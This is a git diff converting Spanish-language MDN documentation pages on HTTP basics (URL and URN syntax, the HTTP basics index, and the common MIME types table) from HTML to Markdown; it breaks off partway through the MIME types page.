El objetivo de una solicitud HTTP se denomina "recurso", (es decir: datos), y dicho recurso, no posee un tipo definido por defecto; puede ser un documento, o una foto, o cualquier otra posibilidad. Cada recurso es identificado por un Identificador Uniforme de Recursos ({{Glossary("URI")}}) y es utilizado a través de HTTP, para la identificación del tipo de recurso.

- -

La identidad y la localización del recursos en la Web son en su mayoria proporcionados por una sola dirección URL (Localicador de Recursos Uniforme; un tipo de URI). A veces, el mismo URI no proporciona la identidad ni la ubicación: HTTP usa un encabezado HTTP especifico, {{HTTPHeader("Alt-Svc")}} cuando el recurso solicitado por el cliente quiere acceder a él en otra ubicación.

- -

URLs and URNs

- -

URLs

- -

La forma más común de URI es la ({{Glossary("URL")}}) (de las siglas en ingles: "Uniform Resource Locator", que podría traducirse como: Localizador Uniforme de Recursos), que se conoce como la dirección web.

- -
https://developer.mozilla.org
-https://developer.mozilla.org/en-US/docs/Learn/
-https://developer.mozilla.org/en-US/search?q=URL
- -

Cualquiera de estas URLs se pueden escribir en la barra de direcciones de su navegador para decirle que cargue la pagina asociada (recurso).

- -

Una URL esta compuesta de diferentes partes, algunas obligatorias y otras son opcionales. Un ejemplo más complejo podría tener este aspecto:

- -
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
- -

URNs

- -

Un URN es una URI que identifica un recurso por su nombre en un espacio de nombres particular.

- -
urn:isbn:9780141036144
-urn:ietf:rfc:7230
-
- -

Las dos URNs corresponden a

- -
    -
  • El libro "1984" por George Orwell,
    • -
  • La especificación IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Sintaxis de Mensajes y Enrutamiento.
    • -
- -

Sintaxis de Identificador Uniforme de Recursos (URIs)

- -

- -

Esquema o protocolo

- -
-
Protocol
-
http:// es el protocolo. Indica que el protocolo debe utilizar el navegador. Por lo general, es el protocolo HTTP o su versión segura, HTTPS. La Web requiere de uno de estos dos, pero los navegadores también saben como manejar otros protocolos como mailto: (para abrir un cliente de correo) o ftp: para manejar la transferencia de archivos, por lo que no se sorprenda si usted ve este tipo de protocolos. Los esquemas comunes son:
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EsquemaDescripción
dataDatos URIs
fileHost-nombre de archivo específicos
ftpProtocolo de Transferencia de Archivos
http/httpsProtocolo de transferencia de Hipertexto (Seguro)
mailtoDirección de correo electrónico
sshshell seguro
telteléfono
urnNombres Uniformes de Recursos
view-sourceCódigo fuente del recurso
ws/wss(Encriptado) conexiones WebSocket
- -

Autoridad

- -
-
Domaine Name
-
www.example.com es el nombre de dominio o autoridad que gobierna el espacio de nombres. Indica cuando es solicitado el servidor Web . Alternativamente, Es posile usar directamente una {{Glossary("IP address")}}, pero debido a que es menos conveniente, no se usa muy amenudo en la Web.
-
- -

Puerto

- -
-
Port
-
:80 es el puerto en este caso. Indica la técnica "puerta" usada para acceder a los recursos en el servidor web. Usualmente es omitido si el servidor web usa los puertos estándares del protocolo HTTP (80 para HTTP y 443 para HTTPS) para permitir el acceso a sus recursos. De lo contrario, es obligatorio.
-
- -

Ruta de Acceso

- -
-
Path to the file
-
/path/to/myfile.html es la ruta de acceso al recurso en el servidor Web. En los primeros dias de la Web, una ruta como esta presentaba la ubicación fisica del archivo en el servidor Web. Hoy en día, es sobre todo una abstracción manejada por los servidores Web sin ningún tipo de realidad fisica.
-
- -

Consulta

- -
-
Parameters
-
?key1=value1&key2=value2 son unos parametros adicionales proporcionados al servidor Web. Esos parámetros son una lista de pares llave/valores separados por el simbolo &. El servidor Web puede utilizar estos parámetros para hacer cosas adicionales antes de retornar el recurso al usuario. Cada servidor Web tiene sus propias reglas con respecto a los parametros, y la única manera confiable de saber cómo un servidor web especifico está manejando parametros es preguntando al usuario del servidor web.
-
- -

Fragmento

- -
-
Anchor
-
#SomewhereInTheDocument es una referencia a otra parte del propio recurso. Esto representa una especie de "marcador" dentro del recurso, otorgandole al navegador las instrucciones para mostrar el contenido que se encuentra en esa referencia señalada. En un documento HTML, por ejemplo, el navegador se desplazará hasta el punto donde se define el fragmento; en un video o documento de audio, el navegador intentará ir a la vez que el ancla se presenta. Vale la pena señalar que la parte despues de la #, también conocido como indentificador de fragmento, nunca se envia al servidor con la solicitud.
-
- -

Ejemplos

- -
https://developer.mozilla.org/en-US/docs/Learn
-tel:+1-816-555-1212
-git@github.com:mdn/browser-compat-data.git
-ftp://example.org/resource.txt
-urn:isbn:9780141036144
-
- -

Especificaciones

- - - - - - - - - - - - -
EspecificaciónTítulo
{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- -

Ver también

- - diff --git a/files/es/web/http/basics_of_http/identifying_resources_on_the_web/index.md b/files/es/web/http/basics_of_http/identifying_resources_on_the_web/index.md new file mode 100644 index 00000000000000..53e57fbdccf794 --- /dev/null +++ b/files/es/web/http/basics_of_http/identifying_resources_on_the_web/index.md @@ -0,0 +1,105 @@ +--- +title: Identificación de recursos web +slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +original_slug: Web/HTTP/Basics_of_HTTP/Identificación_recursos_en_la_Web +--- +{{HTTPSidebar}} + +El objetivo de una solicitud HTTP se denomina "recurso", (es decir: datos), y dicho recurso, no posee un tipo definido por defecto; puede ser un documento, o una foto, o cualquier otra posibilidad. Cada recurso es identificado por un Identificador Uniforme de Recursos ({{Glossary("URI")}}) y es utilizado a través de HTTP, para la identificación del tipo de recurso. + +La identidad y la localización del recursos en la Web son en su mayoria proporcionados por una sola dirección URL (Localicador de Recursos Uniforme; un tipo de URI). A veces, el mismo URI no proporciona la identidad ni la ubicación: HTTP usa un encabezado HTTP especifico, {{HTTPHeader("Alt-Svc")}} cuando el recurso solicitado por el cliente quiere acceder a él en otra ubicación. + +## URLs and URNs + +### URLs + +La forma más común de URI es la ({{Glossary("URL")}}) (de las siglas en ingles: "_Uniform Resource Locator_", que podría traducirse como: Localizador Uniforme de Recursos), _que se conoce como la dirección web._ + + https://developer.mozilla.org + https://developer.mozilla.org/en-US/docs/Learn/ + https://developer.mozilla.org/en-US/search?q=URL + +Cualquiera de estas URLs se pueden escribir en la barra de direcciones de su navegador para decirle que cargue la pagina asociada (recurso). + +Una URL esta compuesta de diferentes partes, algunas obligatorias y otras son opcionales. Un ejemplo más complejo podría tener este aspecto: + + http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument + +### URNs + +Un URN es una URI que identifica un recurso por su nombre en un espacio de nombres particular. + + urn:isbn:9780141036144 + urn:ietf:rfc:7230 + +Las dos URNs corresponden a + +- El libro "1984" por George Orwell, +- La especificación IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Sintaxis de Mensajes y Enrutamiento. + +## Sintaxis de Identificador Uniforme de Recursos (URIs) + +### + +### Esquema o protocolo + +- ![Protocol](https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png) + - : `http://` es el protocolo. Indica que el protocolo debe utilizar el navegador. Por lo general, es el protocolo HTTP o su versión segura, HTTPS. La Web requiere de uno de estos dos, pero los navegadores también saben como manejar otros protocolos como `mailto:` (para abrir un cliente de correo) o `ftp:` para manejar la transferencia de archivos, por lo que no se sorprenda si usted ve este tipo de protocolos. Los esquemas comunes son: + +| Esquema | Descripción | +| ----------- | --------------------------------------------------------------------------- | +| data | [Datos URIs](/es/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) | +| file | Host-nombre de archivo específicos | +| ftp | [Protocolo de Transferencia de Archivos](/es/docs/Glossary/FTP) | +| http/https | [Protocolo de transferencia de Hipertexto (Seguro)](/es/docs/Glossary/HTTP) | +| mailto | Dirección de correo electrónico | +| ssh | shell seguro | +| tel | teléfono | +| urn | Nombres Uniformes de Recursos | +| view-source | Código fuente del recurso | +| ws/wss | (Encriptado) conexiones [WebSocket](/es/docs/Web/API/WebSockets_API) | + +### Autoridad + +- ![Domaine Name](https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png) + - : `www.example.com` es el nombre de dominio o autoridad que gobierna el espacio de nombres. Indica cuando es solicitado el servidor Web . Alternativamente, Es posile usar directamente una {{Glossary("IP address")}}, pero debido a que es menos conveniente, no se usa muy amenudo en la Web. + +### Puerto + +- ![Port](https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png) + - : `:80` es el puerto en este caso. Indica la técnica "puerta" usada para acceder a los recursos en el servidor web. Usualmente es omitido si el servidor web usa los puertos estándares del protocolo HTTP (80 para HTTP y 443 para HTTPS) para permitir el acceso a sus recursos. De lo contrario, es obligatorio. + +### Ruta de Acceso + +- ![Path to the file](https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png) + - : `/path/to/myfile.html` es la ruta de acceso al recurso en el servidor Web. En los primeros dias de la Web, una ruta como esta presentaba la ubicación fisica del archivo en el servidor Web. Hoy en día, es sobre todo una abstracción manejada por los servidores Web sin ningún tipo de realidad fisica. + +### Consulta + +- ![Parameters](https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png) + - : `?key1=value1&key2=value2` son unos parametros adicionales proporcionados al servidor Web. Esos parámetros son una lista de pares llave/valores separados por el simbolo &. El servidor Web puede utilizar estos parámetros para hacer cosas adicionales antes de retornar el recurso al usuario. Cada servidor Web tiene sus propias reglas con respecto a los parametros, y la única manera confiable de saber cómo un servidor web especifico está manejando parametros es preguntando al usuario del servidor web. + +### Fragmento + +- ![Anchor](https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png) + - : `#SomewhereInTheDocument` es una referencia a otra parte del propio recurso. Esto representa una especie de "marcador" dentro del recurso, otorgandole al navegador las instrucciones para mostrar el contenido que se encuentra en esa referencia señalada. En un documento HTML, por ejemplo, el navegador se desplazará hasta el punto donde se define el fragmento; en un video o documento de audio, el navegador intentará ir a la vez que el ancla se presenta. Vale la pena señalar que la parte despues de la #, también conocido como indentificador de fragmento, nunca se envia al servidor con la solicitud. + +## Ejemplos + + https://developer.mozilla.org/en-US/docs/Learn + tel:+1-816-555-1212 + git@github.com:mdn/browser-compat-data.git + ftp://example.org/resource.txt + urn:isbn:9780141036144 + +## Especificaciones + +| Especificación | Título | +| ------------------------------------------------------------------------ | ------------------------------------------------------------------ | +| {{RFC("7230", "Uniform Resource Identifiers", "2.7")}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | + +## Ver también + +- [Qué es una URL?](/es/docs/Learn/Common_questions/What_is_a_URL) +- [Lista de esquemas URI IANA](http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml) diff --git a/files/es/web/http/basics_of_http/index.html b/files/es/web/http/basics_of_http/index.html deleted file mode 100644 index db6f223fe36e11..00000000000000 --- a/files/es/web/http/basics_of_http/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Conceptos básicos de HTTP -slug: Web/HTTP/Basics_of_HTTP -tags: - - HTTP - - NeedsTranslation - - Overview - - TopicStub -translation_of: Web/HTTP/Basics_of_HTTP ---- -
{{HTTPSidebar}}
- -

El protocolo HTTP es un protocolo ampliable, es decir se puede añadir "vocabulario". HTTP está basado en unos pocos conceptos básicos como el concepto de recursos y URIs, una estructura sencilla de mensajes, y una arquitectura de cliente-servidor para ordenar el flujo de las comunicaciones. A demás de estos conceptos, a lo largo de su desarrollo han aparecido otros nuevos y se han añadido funcionalidades y reglas semánticas, creando nuevos métodos y cabeceras.

- -

Artículos

- -
-
Generalidades del HTTP
-
Descripción de qué es el protocolo HTTP y su función en la arquitectura de la Web.
-
Evolución del HTTP
-
HTTP fue creado a comienzos de la década de 1990s y ha sido ampliado con nuevas versiones varias veces. En este artículo se expone la evolución de su desarrollo y las versiones HTTP/0.9, HTTP/1.0, HTTP/1.1 y la última versión HTTP/2 así como detalles de las funciones que se han ido incluyendo.
-
Negociación de la versión de HTTP
-
Se explica como un cliente y un servidor pueden negociar una versión específica de HTTP y eventualmente actualizar la version usada.
-
Recursos y URIs
-
Una breve descripción sobre qué son los recursos, identificadores y localidades en la Web.
-
Identificación de recursos en la Web
-
Descripción de como se referencian recursos en la Web, como son referenciados y como localizarlos.
-
URIs de datos
-
Hay un tipo de URIs que permiten integrar directamente el recurso al que señalan. Los URIs de datos, son muy ventajosos, pero también tienen algunas desventajas.
-
URLs de recursos
-
Los recursos URL, prefijados con resource: en vez de http son usados por Firefox y algunas extensiones del navegador para cargar recursos internamente, pero parte de la información también está disponible para los sitios a los que se conecta el navegador.
-
-
Separación de la identidad y la localización de un recurso: la cabecera Alt-Svc
-
En la mayoría de los casos, la identidad y localización de un recurso Web, son compartidos, esto se puede modificar con la cabecera de HTTP: {{HTTPHeader("Alt-Svc")}}.
-
Tipos MIME
-
Desde la versión HTTP/1.0, es posible trasmitir distintos formatos de recursos. En este artículo se explica como se hace, usando la cabecera: {{HTTPHeader("Content-Type")}}, y el estándar MIME.
-
Elección de URLs: www y no-www
-
Recomendación sobre el uso de dominios con prefijo www o no. En este artículo se explican los resultados de la elección y cómo hacerla.
-
Flujo de comunicación en una sesión HTTP
-
En este artículo se describe una comunicación típica de una sesión HTTP, y lo que sucede internamente cuando se hace click en un hiper-vínculo.
-
Mensajes HTTP
-
Los mensajes HTTP, sean peticiones o respuestas, siguen una estructura muy concreta; en este artículo se describe su estructura, su propósito y posibilidades.
-
Tramas y estructura de los mensajes en HTTP/2
-
La versión HTTP/2 encapsula y representa los mensajes de HTTP/1.x pero en tramas binarias. En este artículo se explica la estructura y los campos de las tramas, su finalidad y cómo se codifica.
-
Proceso de conexión en HTTP/1.x
-
HTTP/1.1 fue la primera versión de HTTP que soportó las conexiones persistentes y el pipelining. En este artículo se explican estos dos conceptos.
-
Proceso de conexión en HTTP/2
-
HTTP/2 revisó completamente, los métodos de negociación, creación y mantenimiento de conexiones: en este artículo se explica como se puede conseguír la multiplexación de las tramas y resolver el problema de 'head-of-line', que tenían las versiones anteriores de HTTP.
-
Negociación de contenidos
-
HTTP presenta una serie de cabeceras que comienzan con Accept- como medio para notificar al navegador, el formato, lenguaje, o codificación que prefiere. En este artículo se explica el este proceso, como debe actuar el servidor, y como se elige la respuesta más apropiada.
-
diff --git a/files/es/web/http/basics_of_http/index.md b/files/es/web/http/basics_of_http/index.md new file mode 100644 index 00000000000000..df1c92c5d88add --- /dev/null +++ b/files/es/web/http/basics_of_http/index.md @@ -0,0 +1,50 @@ +--- +title: Conceptos básicos de HTTP +slug: Web/HTTP/Basics_of_HTTP +tags: + - HTTP + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/HTTP/Basics_of_HTTP +--- +{{HTTPSidebar}} + +El protocolo HTTP es un protocolo ampliable, es decir se puede añadir "vocabulario". HTTP está basado en unos pocos conceptos básicos como el concepto de recursos y URIs, una estructura sencilla de mensajes, y una arquitectura de cliente-servidor para ordenar el flujo de las comunicaciones. A demás de estos conceptos, a lo largo de su desarrollo han aparecido otros nuevos y se han añadido funcionalidades y reglas semánticas, creando nuevos métodos y cabeceras. + +## Artículos + +- [Generalidades del HTTP](/es/docs/Web/HTTP/Overview) + - : Descripción de qué es el protocolo HTTP y su función en la arquitectura de la Web. +- [Evolución del HTTP](/es/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP) + - : HTTP fue creado a comienzos de la década de 1990s y ha sido ampliado con nuevas versiones varias veces. En este artículo se expone la evolución de su desarrollo y las versiones HTTP/0.9, HTTP/1.0, HTTP/1.1 y la última versión HTTP/2 así como detalles de las funciones que se han ido incluyendo. +- [Negociación de la versión de HTTP](/es/docs/Web/HTTP/Basics_of_HTTP/Negotiating_an_HTTP_version) + - : Se explica como un cliente y un servidor pueden negociar una versión específica de HTTP y eventualmente actualizar la version usada. +- [Recursos y URIs](/es/docs/Web/HTTP/Resources_and_URIs) + - : Una breve descripción sobre qué son los recursos, identificadores y localidades en la Web. +- [Identificación de recursos en la Web](/es/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) + - : Descripción de como se referencian recursos en la Web, como son referenciados y como localizarlos. +- [URIs de datos](/es/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) + - : Hay un tipo de URIs que permiten integrar directamente el recurso al que señalan. Los URIs de datos, son muy ventajosos, pero también tienen algunas desventajas. +- [URLs de recursos](/es/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs) + + - : Los recursos URL, prefijados con `resource:` en vez de `http `son usados por Firefox y algunas extensiones del navegador para cargar recursos internamente, pero parte de la información también está disponible para los sitios a los que se conecta el navegador. + +- Separación de la identidad y la localización de un recurso: la cabecera Alt-Svc + - : En la mayoría de los casos, la identidad y localización de un recurso Web, son compartidos, esto se puede modificar con la cabecera de HTTP: {{HTTPHeader("Alt-Svc")}}. +- [Tipos MIME](/es/docs/Web/HTTP/Basics_of_HTTP/MIME_types) + - : Desde la versión HTTP/1.0, es posible trasmitir distintos formatos de recursos. En este artículo se explica como se hace, usando la cabecera: {{HTTPHeader("Content-Type")}}, y el estándar MIME. +- [Elección de URLs: www y no-www](/es/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs) + - : Recomendación sobre el uso de dominios con prefijo www o no. En este artículo se explican los resultados de la elección y cómo hacerla. +- [Flujo de comunicación en una sesión HTTP](/es/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs) + - : En este artículo se describe una comunicación típica de una sesión HTTP, y lo que sucede internamente cuando se hace click en un hiper-vínculo. +- [Mensajes HTTP](/es/docs/Web/HTTP/Messages) + - : Los mensajes HTTP, sean peticiones o respuestas, siguen una estructura muy concreta; en este artículo se describe su estructura, su propósito y posibilidades. +- [Tramas y estructura de los mensajes en HTTP/2](/es/docs/Web/HTTP/Frame%20and%20message%20structure%20in%20HTTP_2) + - : La versión HTTP/2 encapsula y representa los mensajes de HTTP/1.x pero en tramas binarias. En este artículo se explica la estructura y los campos de las tramas, su finalidad y cómo se codifica. +- [Proceso de conexión en HTTP/1.x](/es/docs/Web/HTTP/Connection_management_in_HTTP_1.x) + - : HTTP/1.1 fue la primera versión de HTTP que soportó las conexiones persistentes y el _pipelining_. En este artículo se explican estos dos conceptos. +- [Proceso de conexión en HTTP/2](/es/docs/Web/HTTP/Connection_management_in_HTTP_1.x) + - : HTTP/2 revisó completamente, los métodos de negociación, creación y mantenimiento de conexiones: en este artículo se explica como se puede conseguír la multiplexación de las tramas y resolver el problema de 'head-of-line', que tenían las versiones anteriores de HTTP. +- [Negociación de contenidos](/es/docs/Web/HTTP/Content_negotiation) + - : HTTP presenta una serie de cabeceras que comienzan con `Accept-` como medio para notificar al navegador, el formato, lenguaje, o codificación que prefiere. En este artículo se explica el este proceso, como debe actuar el servidor, y como se elige la respuesta más apropiada. diff --git a/files/es/web/http/basics_of_http/mime_types/common_types/index.html b/files/es/web/http/basics_of_http/mime_types/common_types/index.html deleted file mode 100644 index 3b9bc8b66031f0..00000000000000 --- a/files/es/web/http/basics_of_http/mime_types/common_types/index.html +++ /dev/null @@ -1,321 +0,0 @@ ---- -title: Lista completa de tipos MIME -slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types -tags: - - Archivos - - Audio - - HTTP - - MIME - - Referencia - - Texto - - Tipos - - Tipos MIME - - Tipos de archivo - - Video -translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types ---- -
{{HTTPSidebar}}
- -

Aquí está una lista completa de tipos de MIME, asociados por tipo de documentos y ordenados por su extensión común.

- -

Dos tipos primarios de MIME son importantes para el rol de tipos por defecto:

- -
    -
  • text/plain es el valor por defecto para los archivos textuales. Un archivo textual debe ser legible y no puede contener datos binarios.
    • -
  • application/octet-stream es el valor por defecto para todos los demás casos. Un tipo de archivo desconocido debe usar este tipo. Los navegadores tienen un cuidado particular cuando manipulan estos archivos, tratando de proteger al usuario previéndo comportamientos peligrosos.
    • -
- -

IANA es el registro oficial de los tipos de media MIME y mantiene una lista oficial de todos los tipos de MIME. Esta tabla, lista algunos de los tipos de MIME importantes para la web:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ExtensiónTipo de documentoTipo de MIME
.aacArchivo de audio AACaudio/aac
.abwDocumento AbiWordapplication/x-abiword
.arcDocumento de Archivo (múltiples archivos incrustados)application/octet-stream
.aviAVI: Audio Video Intercaladovideo/x-msvideo
.azwFormato eBook Amazon Kindle application/vnd.amazon.ebook
.binCualquier tipo de datos binariosapplication/octet-stream
.bzArchivo BZipapplication/x-bzip
.bz2Archivo BZip2application/x-bzip2
.cshScript C-Shellapplication/x-csh
.cssHojas de estilo (CSS)text/css
.csvValores separados por coma (CSV)text/csv
.docMicrosoft Wordapplication/msword
.epubPublicación Electrónica (EPUB)application/epub+zip
.gifGraphics Interchange Format (GIF)image/gif
.htm
- .html		Hipertexto (HTML)text/html
.icoFormato Iconimage/x-icon
.icsFormato iCalendartext/calendar
.jarArchivo Java (JAR)application/java-archive
.jpeg
- .jpg		Imágenes JPEGimage/jpeg
.jsJavaScript (ECMAScript)application/javascript
.jsonFormato JSONapplication/json
.mid
- .midi		Interfaz Digital de Instrumentos Musicales (MIDI)audio/midi
.mpegVideo MPEGvideo/mpeg
.mpkgPaquete de instalación de Appleapplication/vnd.apple.installer+xml
.odpDocumento de presentación de OpenDocumentapplication/vnd.oasis.opendocument.presentation
.odsHoja de Cálculo OpenDocumentapplication/vnd.oasis.opendocument.spreadsheet
.odtDocumento de texto OpenDocumentapplication/vnd.oasis.opendocument.text
.ogaAudio OGGaudio/ogg
.ogvVideo OGGvideo/ogg
.ogxOGGapplication/ogg
.pdfAdobe Portable Document Format (PDF)application/pdf
.pptMicrosoft PowerPointapplication/vnd.ms-powerpoint
.rarArchivo RARapplication/x-rar-compressed
.rtfFormato de Texto Enriquecido (RTF)application/rtf
.shScript Bourne shellapplication/x-sh
.svgGráficos Vectoriales (SVG)image/svg+xml
.swfSmall web format (SWF) o Documento Adobe Flashapplication/x-shockwave-flash
.tarAerchivo Tape (TAR)application/x-tar
.tif
- .tiff		Formato de archivo de imagen etiquetado (TIFF)image/tiff
.ttfFuente TrueTypefont/ttf
.vsdMicrosft Visioapplication/vnd.visio
.wavFormato de audio de forma de onda (WAV)audio/x-wav
.webaAudio WEBMaudio/webm
.webmVideo WEBMvideo/webm
.webpImágenes WEBPimage/webp
.woffFormato de fuente abierta web (WOFF)font/woff
.woff2Formato de fuente abierta web (WOFF)font/woff2
.xhtmlXHTMLapplication/xhtml+xml
.xlsMicrosoft Excelapplication/vnd.ms-excel
.xmlXMLapplication/xml
.xulXULapplication/vnd.mozilla.xul+xml
.zipArchivo ZIPapplication/zip
.3gpContenedor de audio/video 3GPPvideo/3gpp
- audio/3gpp if it doesn't contain video
.3g2Contenedor de audio/video 3GPP2video/3gpp2
- audio/3gpp2 if it doesn't contain video
.7zArchivo 7-zipapplication/x-7z-compressed
diff --git a/files/es/web/http/basics_of_http/mime_types/common_types/index.md b/files/es/web/http/basics_of_http/mime_types/common_types/index.md new file mode 100644 index 00000000000000..56c5a65778df74 --- /dev/null +++ b/files/es/web/http/basics_of_http/mime_types/common_types/index.md @@ -0,0 +1,84 @@ +--- +title: Lista completa de tipos MIME +slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +tags: + - Archivos + - Audio + - HTTP + - MIME + - Referencia + - Texto + - Tipos + - Tipos MIME + - Tipos de archivo + - Video +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +--- +{{HTTPSidebar}} + +Aquí está una lista completa de tipos de MIME, asociados por tipo de documentos y ordenados por su extensión común. + +Dos tipos primarios de MIME son importantes para el rol de tipos por defecto: + +- `text/plain` es el valor por defecto para los archivos textuales. Un archivo textual debe ser legible y no puede contener datos binarios. +- `application/octet-stream` es el valor por defecto para todos los demás casos. Un tipo de archivo desconocido debe usar este tipo. Los navegadores tienen un cuidado particular cuando manipulan estos archivos, tratando de proteger al usuario previéndo comportamientos peligrosos. + +IANA es el registro oficial de los tipos de media MIME y mantiene una [lista oficial de todos los tipos de MIME](http://www.iana.org/assignments/media-types/media-types.xhtml). Esta tabla, lista algunos de los tipos de MIME importantes para la web: + +| Extensión | Tipo de documento | Tipo de MIME | +| -------------- | ------------------------------------------------------------------------------------------------------ | ------------------------------------------------------- | +| `.aac` | Archivo de audio AAC | `audio/aac` | +| `.abw` | Documento [AbiWord](https://en.wikipedia.org/wiki/AbiWord) | `application/x-abiword` | +| `.arc` | Documento de Archivo (múltiples archivos incrustados) | `application/octet-stream` | +| `.avi` | AVI: Audio Video Intercalado | `video/x-msvideo` | +| `.azw` | Formato eBook Amazon Kindle | `application/vnd.amazon.ebook` | +| `.bin` | Cualquier tipo de datos binarios | `application/octet-stream` | +| `.bz` | Archivo BZip | `application/x-bzip` | +| `.bz2` | Archivo BZip2 | `application/x-bzip2` | +| `.csh` | Script C-Shell | `application/x-csh` | +| `.css` | Hojas de estilo (CSS) | `text/css` | +| `.csv` | Valores separados por coma (CSV) | `text/csv` | +| `.doc` | Microsoft Word | `application/msword` | +| `.epub` | Publicación Electrónica (EPUB) | `application/epub+zip` | +| `.gif` | Graphics Interchange Format (GIF) | `image/gif` | +| `.htm .html` | Hipertexto (HTML) | `text/html` | +| `.ico` | Formato Icon | `image/x-icon` | +| `.ics` | Formato iCalendar | `text/calendar` | +| `.jar` | Archivo Java (JAR) | `application/java-archive` | +| `.jpeg` `.jpg` | Imágenes JPEG | `image/jpeg` | +| `.js` | JavaScript (ECMAScript) | `application/javascript` | +| `.json` | Formato JSON | `application/json` | +| `.mid` `.midi` | Interfaz Digital de Instrumentos Musicales (MIDI) | `audio/midi` | +| `.mpeg` | Video MPEG | `video/mpeg` | +| `.mpkg` | Paquete de instalación de Apple | `application/vnd.apple.installer+xml` | +| `.odp` | Documento de presentación de OpenDocument | `application/vnd.oasis.opendocument.presentation` | +| `.ods` | Hoja de Cálculo OpenDocument | `application/vnd.oasis.opendocument.spreadsheet` | +| `.odt` | Documento de texto OpenDocument | `application/vnd.oasis.opendocument.text` | +| `.oga` | Audio OGG | `audio/ogg` | +| `.ogv` | Video OGG | `video/ogg` | +| `.ogx` | OGG | `application/ogg` | +| `.pdf` | Adobe [Portable Document Format](https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html) (PDF) | `application/pdf` | +| `.ppt` | Microsoft PowerPoint | `application/vnd.ms-powerpoint` | +| `.rar` | Archivo RAR | `application/x-rar-compressed` | +| `.rtf` | Formato de Texto Enriquecido (RTF) | `application/rtf` | +| `.sh` | Script Bourne shell | `application/x-sh` | +| `.svg` | Gráficos Vectoriales (SVG) | `image/svg+xml` | +| `.swf` | [Small web format](https://en.wikipedia.org/wiki/SWF) (SWF) o Documento Adobe Flash | `application/x-shockwave-flash` | +| `.tar` | Aerchivo Tape (TAR) | `application/x-tar` | +| `.tif .tiff` | Formato de archivo de imagen etiquetado (TIFF) | `image/tiff` | +| `.ttf` | Fuente TrueType | `font/ttf` | +| `.vsd` | Microsft Visio | `application/vnd.visio` | +| `.wav` | Formato de audio de forma de onda (WAV) | `audio/x-wav` | +| `.weba` | Audio WEBM | `audio/webm` | +| `.webm` | Video WEBM | `video/webm` | +| `.webp` | Imágenes WEBP | `image/webp` | +| `.woff` | Formato de fuente abierta web (WOFF) | `font/woff` | +| `.woff2` | Formato de fuente abierta web (WOFF) | `font/woff2` | +| `.xhtml` | XHTML | `application/xhtml+xml` | +| `.xls` | Microsoft Excel | `application/vnd.ms-excel` | +| `.xml` | `XML` | `application/xml` | +| `.xul` | XUL | `application/vnd.mozilla.xul+xml` | +| `.zip` | Archivo ZIP | `application/zip` | +| `.3gp` | Contenedor de audio/video [3GPP](https://en.wikipedia.org/wiki/3GP_and_3G2) | `video/3gpp` `audio/3gpp` if it doesn't contain video | +| `.3g2` | Contenedor de audio/video [3GPP2](https://en.wikipedia.org/wiki/3GP_and_3G2) | `video/3gpp2` `audio/3gpp2` if it doesn't contain video | +| `.7z` | Archivo [7-zip](https://en.wikipedia.org/wiki/7-Zip) | `application/x-7z-compressed` | diff --git a/files/es/web/http/basics_of_http/mime_types/index.html b/files/es/web/http/basics_of_http/mime_types/index.html deleted file mode 100644 index 1a35f250ee7d1c..00000000000000 --- a/files/es/web/http/basics_of_http/mime_types/index.html +++ /dev/null @@ -1,321 +0,0 @@ ---- -title: Tipos MIME -slug: Web/HTTP/Basics_of_HTTP/MIME_types -tags: - - Cabecera de solicitud - - Guide - - HTTP - - Meta - - Tipos MIME - - Tipos de contenido - - application/json -translation_of: Web/HTTP/Basics_of_HTTP/MIME_types ---- -
{{HTTPSidebar}}
- -

El tipo Extensiones multipropósito de Correo de Internet (MIME) es una forma estandarizada de indicar la naturaleza y el formato de un documento, archivo o conjunto de datos. Está definido y estandarizado en IETF RFC 6838. La Autoridad de Números Asignados de Internet (IANA) es el organismo oficial responsable de realizar un seguimiento de todos los tipos MIME oficiales, y puede encontrar la lista más actualizada y completa en la página de tipos de medios (Media Types).

- -

Los navegadores a menudo usan el tipo MIME (y no la extensión de archivo) para determinar cómo procesará un documento; por lo tanto, es importante que los servidores estén configurados correctamente para adjuntar el tipo MIME correcto al encabezado del objeto de respuesta.

- -

Sintaxis

- -

Estructura general

- -
tipo/subtipo
- -

